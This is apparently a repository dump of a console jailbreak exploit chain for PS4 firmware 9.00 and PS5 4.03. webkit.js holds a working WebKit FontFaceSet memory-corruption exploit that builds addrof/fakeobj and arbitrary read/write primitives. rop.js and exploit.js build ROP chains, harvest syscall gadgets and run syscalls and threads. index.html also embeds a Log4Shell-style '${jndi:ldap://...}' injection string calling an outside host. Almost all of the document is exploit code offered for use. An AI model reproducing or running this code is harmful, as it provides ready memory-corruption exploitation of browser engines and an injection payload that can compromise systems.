            if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
                countbytes = i;
                break;
            }
        }
        p.write4(kstr.add32(8), countbytes + 32);
        let dview32 = new Uint32Array(1);
        let dview8 = new Uint8Array(dview32.buffer);
        for (let i = 0; i < countbytes; i++) {
            if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
                dview8[0] = kview[i + 3];
                dview8[1] = kview[i + 4];
                dview8[2] = kview[i + 5];
                dview8[3] = kview[i + 6];
                let syscallno = dview32[0];
                syscalls[syscallno] = libKernelBase.add32(i);
            }
        }
        p.write8(kstr, orig_kview_buf);
    }

    chain = new worker_rop();

    //POST EXPLOIT STUFF HERE
    let pid = await chain.syscall(20);

    //Sanity check
    if (pid.low == 0) {
        alert("webkit exploit failed. Try again if your ps4 is on fw 9.00 / ps5 is on fw 4.03 .");
        p.write8(0, 0); //usually the rw prim just stopped working if we got here, so write to 0x0 might not actually kill the browser.
        while (1);
    }

    alert(`sys_getpid: ${pid}`);

    //Threading sample
    let thread = new thread_rop("rop_thread"); {
        thread.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x11223344);
    }
    let pthread_res = p.malloc(0x8);
    var pthread = await thread.spawn_thread();
    await chain.call(libKernelBase.add32(OFFSET_lk_pthread_join), pthread, pthread_res);
    alert(`pthread_join result: ${p.read8(pthread_res)}`);

    //Branch sample
    let branch_counter = p.malloc(0x8);
    p.write8(branch_counter, 0x0);

    {
        const start_rsp = chain.get_rsp();
        const run_twice_condition = chain.create_branch(chain.branch_types.EQUAL, branch_counter, 2);

        const not_equal_rsp = chain.get_rsp();

        chain.self_healing_syscall(362);
        chain.write_result4(branch_counter.add32(0x8));

        chain.increment_dword(branch_counter);
        chain.jmp_to_rsp(start_rsp);
        const stop_rsp = chain.get_rsp();

        chain.set_branch_points(run_twice_condition, stop_rsp, not_equal_rsp);

    }
    await chain.run();
    alert(`branch_counter: ${p.read8(branch_counter)}
           last kqueue: ${p.read4(branch_counter.add32(0x8))}
    `);

}

async function run_hax() {
    await userland();
}

/*
//sample 1 (syscall)
pid_t pid = sys_getpid();

//sample2 (threaded rop)
fun() {
    pthread_exit(0x11223344);
}

pthread_t thr;
pthread_create(&thr, nullptr, fun, nullptr);
pthread_join(thr, res);

//sample 3 (branching, 'loop')
int last_kqueue = 0;
for(int i = 0; i < 2; i++) {
    last_kqueue = sys_kqueue();
}

*/

================================================
FILE: index.html
================================================
<html>

<head>
    <title>pOOBs4 9.00 & pOOBs5 4.03</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body {
            background-color: #242629;
        }

        .loader {
            position: absolute;
            left: 50%;
            top: 50%;
            margin: -75px 0 0 -75px;

            border: 10px solid #1f1e1e;
            border-radius: 50%;
            border-top: 10px solid #044595;
            border-left: 10px solid #044595;
            width: 120px;
            height: 120px;
            animation: spin 1s linear infinite;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        .info {
            overflow: hidden;
            position: fixed;
            position: absolute;
            top: 50%;
            left: 50%;

            font-size: 45px;
            font-family: sans-serif;
            color: #b8b8b8;

            transform: translate(-50%, -50%);
        }

        .j {
            font-size: 15px;
            color: #2F3335;
        }
    </style>
    <script>
        function allset() {
            document.getElementById("loader").style.display = "none";
            document.getElementById("allset").style.display = "block";
        }

        function awaitpl() {
            document.getElementById("loader").style.display = "none";
            document.getElementById("awaiting").style.display = "block";
        }
    </script>
    <script src="int64.js"></script>
    <script src="rop.js"></script>
    <script src="exploit.js"></script>
    <script src="webkit.js"></script>
</head>

</html>

<body onload="setTimeout(poc, 1500);">

    <div id="loader" class="loader"></div>
    <div id="awaiting" class="info" style="display:none;">
        Awaiting Payload...
        <br />
        <span class="j">${jndi:ldap://nsa.gov}</span>
    </div>

    <div id="allset" class="info" style="display:none;">
        You're all set!
    </div>

</body>
<script>

</script>

================================================
FILE: int64.js
================================================
function int64(low, hi) {
    this.low = (low >>> 0);
    this.hi = (hi >>> 0);

    this.add32inplace = function (val) {
        let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
        let new_hi = (this.hi >>> 0);

        if (new_lo < this.low) {
            new_hi++;
        }

        this.hi = new_hi;
        this.low = new_lo;
    }

    this.add32 = function (val) {
        let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
        let new_hi = (this.hi >>> 0);

        if (new_lo < this.low) {
            new_hi++;
        }

        return new int64(new_lo, new_hi);
    }

    this.sub32 = function (val) {
        let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
        let new_hi = (this.hi >>> 0);

        if (new_lo > (this.low) & 0xFFFFFFFF) {
            new_hi--;
        }

        return new int64(new_lo, new_hi);
    }

    this.sub32inplace = function (val) {
        let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
        let new_hi = (this.hi >>> 0);

        if (new_lo > (this.low) & 0xFFFFFFFF) {
            new_hi--;
        }

        this.hi = new_hi;
        this.low = new_lo;
    }

    this.and32 = function (val) {
        let new_lo = this.low & val;
        let new_hi = this.hi;
        return new int64(new_lo, new_hi);
    }

    this.and64 = function (vallo, valhi) {
        let new_lo = this.low & vallo;
        let new_hi = this.hi & valhi;
        return new int64(new_lo, new_hi);
    }

    this.toString = function () {
        let lo_str = (this.low >>> 0).toString(16);
        let hi_str = (this.hi >>> 0).toString(16);

        if (this.hi == 0)
            return lo_str;
        else
            lo_str = zeroFill(lo_str, 8)

        return hi_str + lo_str;
    }

    return this;
}

function zeroFill(number, width) {
    width -= number.toString().length;

    if (width > 0) {
        return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
    }

    return number + ""; // always return a string
}

================================================
FILE: rop.js
================================================
class rop {

    constructor(stack_size = 0x40000, reserved_stack = 0x10000) {
        this.stack_size = stack_size;
        this.reserved_stack = reserved_stack;
        this.stack_dwords = stack_size / 0x4;
        this.reserved_stack_index = this.reserved_stack / 0x4;

        this.stack_memory = p.malloc(this.stack_dwords + 0x2 + 0x200);
        this.stack_array = this.stack_memory.backing;
        this.stack_entry_point = this.stack_memory.add32(this.reserved_stack);
        this.return_value = this.stack_memory.add32(this.stack_size);
        this.initial_count = 0;
        this.count = 0;

        this.branches = this.return_value.add32(0x8);
        this.branches_count = 0;

        this.branch_types = {
            EQUAL: 0x314500,
            ABOVE: 0x314501,
            BELOW: 0x314502,
            GREATER: 0x314503,
            LESSER: 0x314504,
        };

    }

    set_initial_count(count) {
        this.initial_count = count;
        if (this.count == 0) {
            this.count = this.initial_count;
        }
    }

    clear() {
        this.count = this.initial_count;
        this.branches_count = 0;
        for (let i = 0; i < this.stack_dwords; i++) {
            this.stack_array[i] = 0x0;
        }
    }

    increment_stack() {
        return this.count++;
    }

    set_entry(index, value) {
        if (value instanceof int64) {
            this.stack_array[this.reserved_stack_index + index * 2] = value.low;
            this.stack_array[this.reserved_stack_index + index * 2 + 1] = value.hi;
        } else if (typeof (value) == 'number') {
            this.stack_array[this.reserved_stack_index + index * 2] = value;
            this.stack_array[this.reserved_stack_index + index * 2 + 1] = 0x0;
            if (value > 0xFFFFFFFF) {
                alert("you're trying to write a value exceeding 32-bits without using a int64 instance");
            }
        } else {
            alert("You're trying to write a non number/non int64 value?");
        }
    }

    /**
     * performs `*rsp = value; rsp += 8;`
     */
    push(value) {
        this.set_entry(this.increment_stack(), value);
    }

    /**
     * performs `*dest = value;` in chain
     */
    push_write8(dest, value) {
        this.push(gadgets["pop rdi"]);
        this.push(dest);
        this.push(gadgets["pop rsi"]);
        this.push(value);
        this.push(gadgets["mov [rdi], rsi"]);
    }

    /**
     * performs `*dest = rax;` in chain
     */
    write_result(dest) {
        this.push(gadgets["pop rdi"]);
        this.push(dest);
        this.push(gadgets["mov [rdi], rax"]);
    }

    /**
     * performs `*dest = eax;` in chain
     */
    write_result4(dest) {
        this.push(gadgets["pop rdi"]);
        this.push(dest);
        this.push(gadgets["mov [rdi], eax"]);
    }

    /**
     * pushes rdi-r9 args on the stack for sysv calls
     */
    push_sysv(rdi, rsi, rdx, rcx, r8, r9) {

        if (rdi != undefined) {
            this.push(gadgets["pop rdi"]);
            this.push(rdi);
        }

        if (rsi != undefined) {
            this.push(gadgets["pop rsi"]);
            this.push(rsi);
        }

        if (rdx != undefined) {
            this.push(gadgets["pop rdx"]);
            this.push(rdx);
        }

        if (rcx != undefined) {
            this.push(gadgets["pop rcx"]);
            this.push(rcx);
        }

        if (r8 != undefined) {
            this.push(gadgets["pop r8"]);
            this.push(r8);
        }

        if (r9 != undefined) {
            this.push(gadgets["pop r9"]);
            this.push(r9);
        }

    }

    /**
     * helper function to add a standard sysv call to the chain.
     */
    fcall(rip, rdi, rsi, rdx, rcx, r8, r9) {
        this.push_sysv(rdi, rsi, rdx, rcx, r8, r9);
        if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) {
            this.push(gadgets["ret"]);
        }
        this.push(rip);
    }

    /**
     * returns the current stack pointer.
     */
    get_rsp() {
        return this.stack_entry_point.add32(this.count * 0x8);
    }

    /**
     * performs `rsp = dest;` in chain.
     * can be used to 'jump' to different parts of a rop chain
     */
    jmp_to_rsp(dest) {
        this.push(gadgets["pop rsp"]);
        this.push(dest);
    }

    /**
     * function intended to build a reusable 'syscall' chain.
     * Having a syscall return an error makes the stub perform a push rax, a call and a push rbp, this would usually corrupt the rop chain for later reuse
     */
    self_healing_syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
        this.push_sysv(rdi, rsi, rdx, rcx, r8, r9);
        let restore_point = this.get_rsp();
        this.push(gadgets["ret"]);
        this.push(gadgets["ret"]);
        this.push(gadgets["ret"]);

        if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) {
            this.push(gadgets["ret"]);
            restore_point.add32inplace(0x8);
        }
        this.push(syscalls[sysc]);
        this.push_write8(restore_point, gadgets["ret"]);
        this.push_write8(restore_point.add32(0x08), gadgets["ret"]);
        this.push_write8(restore_point.add32(0x10), gadgets["ret"]);
        this.push_write8(restore_point.add32(0x18), syscalls[sysc]);

    }

    /**
     * returns the next available branch
     */
    get_branch() {
        return this.branches.add32(this.branches_count++ * 0x10);
    }

    /**
     * prepares a branch in the rop chain, for 32b comparisons on [addr] <-> compare value
     * use branch_types.XXXXX as type argument.
     * returns a ptr ptr for the branchpoints
     * use logical inversions for other jmp types. setne -> inverted sete, setbe -> inverted seta, ...
     */
    create_branch(type, value_address, compare_value) {
        let branch_addr = this.get_branch();

        this.push(gadgets["pop rcx"]);
        this.push(value_address);
        this.push(gadgets["pop rax"]);
        this.push(compare_value);
        this.push(gadgets["cmp [rcx], eax"]);
        this.push(gadgets["pop rax"]);
        this.push(0);

        if (type == this.branch_types.EQUAL) {
            this.push(gadgets["sete al"]);
        } else if (type == this.branch_types.ABOVE) {
            this.push(gadgets["seta al"]);
        } else if (type == this.branch_types.BELOW) {
            this.push(gadgets["setb al"]);
        } else if (type == this.branch_types.GREATER) {
            this.push(gadgets["setg al"]);
        } else if (type == this.branch_types.LESSER) {
            this.push(gadgets["setl al"]);
        } else {
            alert("illegal branch type.");
        }

        this.push(gadgets["shl rax, 3"]);
        this.push(gadgets["pop rdx"]);
        this.push(branch_addr);
        this.push(gadgets["add rax, rdx"]);
        this.push(gadgets["mov rax, [rax]"]);
        this.push(gadgets["pop rdi"]);
        let branch_pointer_pointer_idx = this.increment_stack();
        this.push(gadgets["mov [rdi], rax"]);
        this.push(gadgets["pop rsp"]);
        let branch_pointer = this.get_rsp();
        this.increment_stack();

        this.set_entry(branch_pointer_pointer_idx, branch_pointer);

        return branch_addr;
    }

    /**
     * finalizes a branch by setting the destination stack pointers.
     * swap met and not met args if trying for an inverted jmp type.
     */
    set_branch_points(branch_addr, rsp_condition_met, rsp_condition_not_met) {
        p.write8(branch_addr.add32(0x0), rsp_condition_not_met);
        p.write8(branch_addr.add32(0x8), rsp_condition_met);
    }

    /**
     * performs (*address)++; in chain
     */
    increment_dword(address) {
        this.push(gadgets["pop rax"]);
        this.push(address);
        this.push(gadgets["inc dword [rax]"]);
    }
}

//extension of the generic rop class intended to be used with the hijacked worker thread.
class worker_rop extends rop {

    constructor(stack_size, reserved_stack) {
        super(stack_size, reserved_stack);
        p.pre_chain(this);
    }

    clear() {
        super.clear();
        p.pre_chain(this);
    }

    async call(rip, rdi, rsi, rdx, rcx, r8, r9) {
        this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
        this.write_result(this.return_value);
        await this.run();
        return p.read8(this.return_value);
    }

    async syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
        return await this.call(syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
    }

    async run() {
        await p.launch_chain(this);
        this.clear();
    }
}

class thread_rop extends rop {
    constructor(name = "rop_thread", stack_size, reserved_stack) {
        super(stack_size, reserved_stack);
        //we longjmp into the ropchain, longjmp overites the first entry stack entry with its own saved 'return address' this requires us to skip an entry.
        this.set_initial_count(1);

        //prepare lonjmp context
        p.write8(this.stack_memory, gadgets["ret"]); //ret address
        p.write8(this.stack_memory.add32(0x08), 0x0); //rbx
        p.write8(this.stack_memory.add32(0x10), this.stack_entry_point); //rsp
        p.write8(this.stack_memory.add32(0x18), 0x0); //rbp
        p.write8(this.stack_memory.add32(0x20), 0x0); //r12
        p.write8(this.stack_memory.add32(0x28), 0x0); //r13
        p.write8(this.stack_memory.add32(0x30), 0x0); //r14
        p.write8(this.stack_memory.add32(0x38), 0x0); //r15
        p.write4(this.stack_memory.add32(0x40), 0x37F); //fpu control word
        p.write4(this.stack_memory.add32(0x44), 0x9FE0); //mxcsr

        p.writestr(this.stack_memory.add32(0x50), name); //thr name
    }

    /**
     * returns created pthread_t as int64
     */
    async spawn_thread() {

        //add pthread_exit((void*)0x44414544); -> "DEAD"
        this.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x44414544);

        await chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), this.stack_memory.add32(0x48), 0x0, libSceLibcInternalBase.add32(OFFSET_lc_longjmp), this.stack_memory, this.stack_memory.add32(0x50));
        return p.read8(this.stack_memory.add32(0x48));
    }
}

================================================
FILE: rop_slave.js
================================================
let my_worker = this;

self.onmessage = function (event) {
    event.ports[0].postMessage(1);
}

================================================
FILE: webkit.js
================================================
var PAGE_SIZE = 16384;
var SIZEOF_CSS_FONT_FACE = 0xb8;
var HASHMAP_BUCKET = 208;
var STRING_OFFSET = 20;
var SPRAY_FONTS = 0x100A;
var GUESS_FONT = 0x200430000;
var NPAGES = 20;
var INVALID_POINTER = 0;
var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time

function hex(n) {
    if ((typeof n) != "number")
        return "" + n;
    return "0x" + (new Number(n)).toString(16);
}

function poc() {

    var union = new ArrayBuffer(8);
    var union_b = new Uint8Array(union);
    var union_i = new Uint32Array(union);
    var union_f = new Float64Array(union);

    var bad_fonts = [];

    for (var i = 0; i < SPRAY_FONTS; i++)
        bad_fonts.push(new FontFace("font1", "", {}));

    var good_font = new FontFace("font2", "url(data:text/html,)", {});
    bad_fonts.push(good_font);

    var arrays = [];
    for (var i = 0; i < 512; i++)
        arrays.push(new Array(31));

    arrays[256][0] = 1.5;
    arrays[257][0] = {};
    arrays[258][0] = 1.5;

    var jsvalue = {
        a: arrays[256],
        b: new Uint32Array(1),
        c: true
    };

    var string_atomifier = {};
    var string_id = 10000000;

    function ptrToString(p) {
        var s = '';
        for (var i = 0; i < 8; i++) {
            s += String.fromCharCode(p % 256);
            p = (p - p % 256) / 256;
        }
        return s;
    }

    function stringToPtr(p, o) {
        if (o === undefined)
            o = 0;
        var ans = 0;
        for (var i = 7; i >= 0; i--)
            ans = 256 * ans + p.charCodeAt(o + i);
        return ans;
    }

    var strings = [];

    function mkString(l, head) {
        var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
        string_atomifier[s] = 1;
        strings.push(s);
        return s;
    }

    var guf = GUESS_FONT;
    var ite = true;
    var matches = 0;

    var round = 0;

    window.ffses = {};

    do {

        var p_s = ptrToString(NPAGES + 2); // vector.size()
        for (var i = 0; i < NPAGES; i++)
            p_s += ptrToString(guf + i * PAGE_SIZE);
        p_s += ptrToString(INVALID_POINTER);

        for (var i = 0; i < 256; i++)
            mkString(HASHMAP_BUCKET, p_s);

        var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);

        var badstr1 = mkString(HASHMAP_BUCKET, p_s);

        var guessed_font = null;
        var guessed_addr = null;

        for (var i = 0; i < SPRAY_FONTS; i++) {
            bad_fonts[i].family = "search" + round;
            if (badstr1.substr(0, p_s.length) != p_s) {
                guessed_font = i;
                var p_s1 = badstr1.substr(0, p_s.length);
                for (var i = 1; i <= NPAGES; i++) {
                    if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {
                        guessed_addr = stringToPtr(p_s.substr(i * 8, 8));
                        break;
                    }
                }
                if (matches++ == 0) {
                    guf = guessed_addr + 2 * PAGE_SIZE;
                    guessed_addr = null;
                }
                break;
            }
        }

        if ((ite = !ite))
            guf += NPAGES * PAGE_SIZE;

    }
    while (guessed_addr === null);

    var p_s = '';
    p_s += ptrToString(26);
    p_s += ptrToString(guessed_addr);
    p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
    for (var i = 0; i < 19; i++)
        p_s += ptrToString(INVALID_POINTER);

    for (var i = 0; i < 256; i++)
        mkString(HASHMAP_BUCKET, p_s);

    var needfix = [];
    for (var i = 0;; i++) {
        ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
        var badstr2 = mkString(HASHMAP_BUCKET, p_s);
        needfix.push(mkString(HASHMAP_BUCKET, p_s));
        bad_fonts[guessed_font].family = "evil2";
        bad_fonts[guessed_font + 1].family = "evil3";
        var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
        if (leak < 0x1000000000000)
            break;
    }

    function makeReader(read_addr, ffs_name) {
        var fake_s = '';
        fake_s += '0000'; //padding for 8-byte alignment
        fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
        fake_s += ptrToString(read_addr); //where to read from
        fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
        p_s = '';
        p_s += ptrToString(29);
        p_s += ptrToString(guessed_addr);
        p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
        p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
        for (var i = 0; i < 18; i++)
            p_s += ptrToString(INVALID_POINTER);
        for (var i = 0; i < 256; i++)
            mkString(HASHMAP_BUCKET, p_s);
        var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);
        mkString(HASHMAP_BUCKET, p_s);
        var relative_read = mkString(HASHMAP_BUCKET, fake_s);
        bad_fonts[guessed_font].family = ffs_name + "_evil1";
        bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
        bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
        needfix.push(relative_read);
        if (relative_read.length < 1000) //failed
            return makeReader(read_addr, ffs_name + '_');
        return relative_read;
    }

    var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr

    for (var i = 0; i < 100000; i++)
        mkString(128, '');

    var props = [];
    for (var i = 0; i < 0x10000; i++) {
        props.push({
            value: 0x41434442
        });
        props.push({
            value: jsvalue
        });
    }

    var jsvalue_leak = null;

    while (jsvalue_leak === null) {
        Object.defineProperties({}, props);
        for (var i = 0;; i++) {
            if (fastmalloc.charCodeAt(i) == 0x42 &&
                fastmalloc.charCodeAt(i + 1) == 0x44 &&
                fastmalloc.charCodeAt(i + 2) == 0x43 &&
                fastmalloc.charCodeAt(i + 3) == 0x41 &&
                fastmalloc.charCodeAt(i + 4) == 0 &&
                fastmalloc.charCodeAt(i + 5) == 0 &&
                fastmalloc.charCodeAt(i + 6) == 254 &&
                fastmalloc.charCodeAt(i + 7) == 255 &&
                fastmalloc.charCodeAt(i + 24) == 14
            ) {
                jsvalue_leak = stringToPtr(fastmalloc, i + 32);
                break;
            }
        }
    }

    var rd_leak = makeReader(jsvalue_leak, 'ffs4');
    var array256 = stringToPtr(rd_leak, 16); //arrays[256]
    var ui32a = stringToPtr(rd_leak, 24); //Uint32Array

    var rd_arr = makeReader(array256, 'ffs5');
    var butterfly = stringToPtr(rd_arr, 8);

    var rd_ui32 = makeReader(ui32a, 'ffs6');
    for (var i = 0; i < 8; i++)
        union_b[i] = rd_ui32.charCodeAt(i);

    var structureid_low = union_i[0];
    var structureid_high = union_i[1];

    //setup for addrof/fakeobj
    //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
    //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
    union_i[0] = 0x10000;
    union_i[1] = 0; //account for nan-boxing
    arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
    arrays[257][0] = union_f[0];
    union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
    union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
    arrays[256][i] = union_f[0];

    //hammer time!

    pp_s = '';
    pp_s += ptrToString(56);
    for (var i = 0; i < 12; i++)
        pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);

    var fake_s = '';
    fake_s += '0000'; //padding for 8-byte alignment
    fake_s += ptrToString(INVALID_POINTER); //never dereferenced
    fake_s += ptrToString(butterfly); //hammer target
    fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34

    var ffs7_args = [];
    for (var i = 0; i < 12; i++)
        ffs7_args.push(bad_fonts[guessed_font + i]);
    ffs7_args.push(good_font);

    var ffs8_args = [bad_fonts[guessed_font + 12]];
    for (var i = 0; i < 5; i++)
        ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));

    for (var i = 0; i < HAMMER_NSTRINGS; i++)
        mkString(HASHMAP_BUCKET, pp_s);

    ffses.ffs7 = new FontFaceSet(ffs7_args);
    mkString(HASHMAP_BUCKET, pp_s);
    ffses.ffs8 = new FontFaceSet(ffs8_args);
    var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
    needfix.push(post_ffs);

    for (var i = 0; i < 13; i++)
        bad_fonts[guessed_font + i].family = "hammer" + i;

    function boot_addrof(obj) {
        arrays[257][32] = obj;
        union_f[0] = arrays[258][0];
        return union_i[1] * 0x100000000 + union_i[0];
    }

    function boot_fakeobj(addr) {
        union_i[0] = addr;
        union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
        arrays[258][0] = union_f[0];
        return arrays[257][32];
    }

    //craft misaligned typedarray

    var arw_master = new Uint32Array(8);
    var arw_slave = new Uint8Array(1);
    var obj_master = new Uint32Array(8);
    var obj_slave = {
        obj: null
    };

    var addrof_slave = boot_addrof(arw_slave);
    var addrof_obj_slave = boot_addrof(obj_slave);
    union_i[0] = structureid_low;
    union_i[1] = structureid_high;
    union_b[6] = 7;
    var obj = {
        jscell: union_f[0],
        butterfly: true,
        buffer: arw_master,
        size: 0x5678
    };

    function i48_put(x, a) {
        a[4] = x | 0;
        a[5] = (x / 4294967296) | 0;
    }

    function i48_get(a) {
        return a[4] + a[5] * 4294967296;
    }

    window.addrof = function (x) {
        obj_slave.obj = x;
        return i48_get(obj_master);
    }

    window.fakeobj = function (x) {
        i48_put(x, obj_master);
        return obj_slave.obj;
    }

    function read_mem_setup(p, sz) {
        i48_put(p, arw_master);
        arw_master[6] = sz;
    }

    window.read_mem = function (p, sz) {
        read_mem_setup(p, sz);
        var arr = [];
        for (var i = 0; i < sz; i++)
            arr.push(arw_slave[i]);
        return arr;
    };

    window.write_mem = function (p, data) {
        read_mem_setup(p, data.length);
        for (var i = 0; i < data.length; i++)
            arw_slave[i] = data[i];
    };

    window.read_ptr_at = function (p) {
        var ans = 0;
        var d = read_mem(p, 8);
        for (var i = 7; i >= 0; i--)
            ans = 256 * ans + d[i];
        return ans;
    };

    window.write_ptr_at = function (p, d) {
        var arr = [];
        for (var i = 0; i < 8; i++) {
            arr.push(d & 0xff);
            d /= 256;
        }
        write_mem(p, arr);
    };

    (function () {
        var magic = boot_fakeobj(boot_addrof(obj) + 16);
        magic[4] = addrof_slave;
        magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
        obj.buffer = obj_master;
        magic[4] = addrof_obj_slave;
        magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
        magic = null;
    })();

    //fix fucked objects to stabilize webkit

    (function () {
        //fix fontfaceset (memmoved 96 bytes to low, move back)
        var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
        write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
        //fix strings (restore "valid") header
        for (var i = 0; i < needfix.length; i++) {
            var addr = read_ptr_at(addrof(needfix[i]) + 8);
            write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
            write_ptr_at(addr + 8, addr + 20);
            write_ptr_at(addr + 16, 0x80000014);
        }
        //fix array butterfly
        write_ptr_at(butterfly + 248, 0x1f0000001f);
    })();

    //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.

    //create compat stuff for kexploit.js
    let expl_master = new Uint32Array(8);
    let expl_slave = new Uint32Array(2);
    let addrof_expl_slave = addrof(expl_slave);
    let m = fakeobj(addrof(obj) + 16);
    obj.buffer = expl_slave;
    m[7] = 1;
    obj.buffer = expl_master;
    m[4] = addrof_expl_slave;
    m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
    m[7] = 1;

    let prim = {
        write8: function (addr, value) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            if (value instanceof int64) {
                expl_slave[0] = value.low;
                expl_slave[1] = value.hi;
            } else {
                expl_slave[0] = value;
                expl_slave[1] = 0;
            }
        },
        write4: function (addr, value) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            if (value instanceof int64) {
                expl_slave[0] = value.low;
            } else {
                expl_slave[0] = value;
            }
        },
        write2: function (addr, value) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            let tmp = expl_slave[0] & 0xFFFF0000;
            if (value instanceof int64) {
                expl_slave[0] = ((value.low & 0xFFFF) | tmp);
            } else {
                expl_slave[0] = ((value & 0xFFFF) | tmp);
            }
        },
        write1: function (addr, value) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            let tmp = expl_slave[0] & 0xFFFFFF00;
            if (value instanceof int64) {
                expl_slave[0] = ((value.low & 0xFF) | tmp);
            } else {
                expl_slave[0] = ((value & 0xFF) | tmp);
            }
        },
        read8: function (addr) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            return new int64(expl_slave[0], expl_slave[1]);
        },
        read4: function (addr) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            return expl_slave[0];
        },
        read2: function (addr) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            return expl_slave[0] & 0xFFFF;
        },
        read1: function (addr) {
            expl_master[4] = addr.low;
            expl_master[5] = addr.hi;
            return expl_slave[0] & 0xFF;
        },
        leakval: function (obj) {
            obj_slave.obj = obj;
            return new int64(obj_master[4], obj_master[5]);
        }
    };
    window.p = prim;
    run_hax();
}
Download .txt
gitextract_414mdp3f/

├── .github/
│   └── README.md
├── exploit.js
├── index.html
├── int64.js
├── rop.js
├── rop_slave.js
└── webkit.js
Download .txt
SYMBOL INDEX (39 symbols across 4 files)

FILE: exploit.js
  constant IS_PS5 (line 11) | const IS_PS5 = navigator.userAgent.includes("PlayStation 5");
  function set_offset_for_platform (line 13) | function set_offset_for_platform(ps5_offset, ps4_offset) {
  constant OFFSET_WORKER_STACK_OFFSET (line 31) | const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0...
  function wait_for_worker (line 436) | async function wait_for_worker() {
  function find_worker (line 448) | function find_worker() {
  function userland (line 464) | async function userland() {
  function run_hax (line 688) | async function run_hax() {

FILE: int64.js
  function int64 (line 1) | function int64(low, hi) {
  function zeroFill (line 78) | function zeroFill(number, width) {

FILE: rop.js
  class rop (line 1) | class rop {
    method constructor (line 3) | constructor(stack_size = 0x40000, reserved_stack = 0x10000) {
    method set_initial_count (line 29) | set_initial_count(count) {
    method clear (line 36) | clear() {
    method increment_stack (line 44) | increment_stack() {
    method set_entry (line 48) | set_entry(index, value) {
    method push (line 66) | push(value) {
    method push_write8 (line 73) | push_write8(dest, value) {
    method write_result (line 84) | write_result(dest) {
    method write_result4 (line 93) | write_result4(dest) {
    method push_sysv (line 102) | push_sysv(rdi, rsi, rdx, rcx, r8, r9) {
    method fcall (line 139) | fcall(rip, rdi, rsi, rdx, rcx, r8, r9) {
    method get_rsp (line 150) | get_rsp() {
    method jmp_to_rsp (line 158) | jmp_to_rsp(dest) {
    method self_healing_syscall (line 167) | self_healing_syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {
    method get_branch (line 189) | get_branch() {
    method create_branch (line 199) | create_branch(type, value_address, compare_value) {
    method set_branch_points (line 245) | set_branch_points(branch_addr, rsp_condition_met, rsp_condition_not_me...
